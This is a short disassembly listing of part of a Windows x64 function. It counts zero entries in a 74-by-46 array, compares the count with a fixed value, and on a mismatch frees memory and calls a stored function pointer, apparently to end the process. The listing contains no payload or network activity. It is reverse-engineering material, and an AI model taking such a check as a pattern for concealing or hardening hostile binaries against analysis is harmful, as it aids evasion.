mov dword [rbp + 0x814], 0
jmp 0x140002991
mov dword [rbp + 0x810], 0
jmp 0x140002981
mov eax, dword [rbp + 0x814]
cdqe
imul rdx, rax, 0xb8
mov rax, qword [rbp + 0x658]
add rdx, rax
mov eax, dword [rbp + 0x810]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000297a
add dword [rbp + 0x818], 1
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x2d
jle 0x14000294b
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x49
jle 0x14000293f
cmp dword [rbp + 0x818], 0x6a6
je 0x1400029b0
mov dword [rbp + 0x654], 0
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x660]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x880]
add rsp, 0x918
pop rbx
pop rsi
pop rdi
pop rbp
ret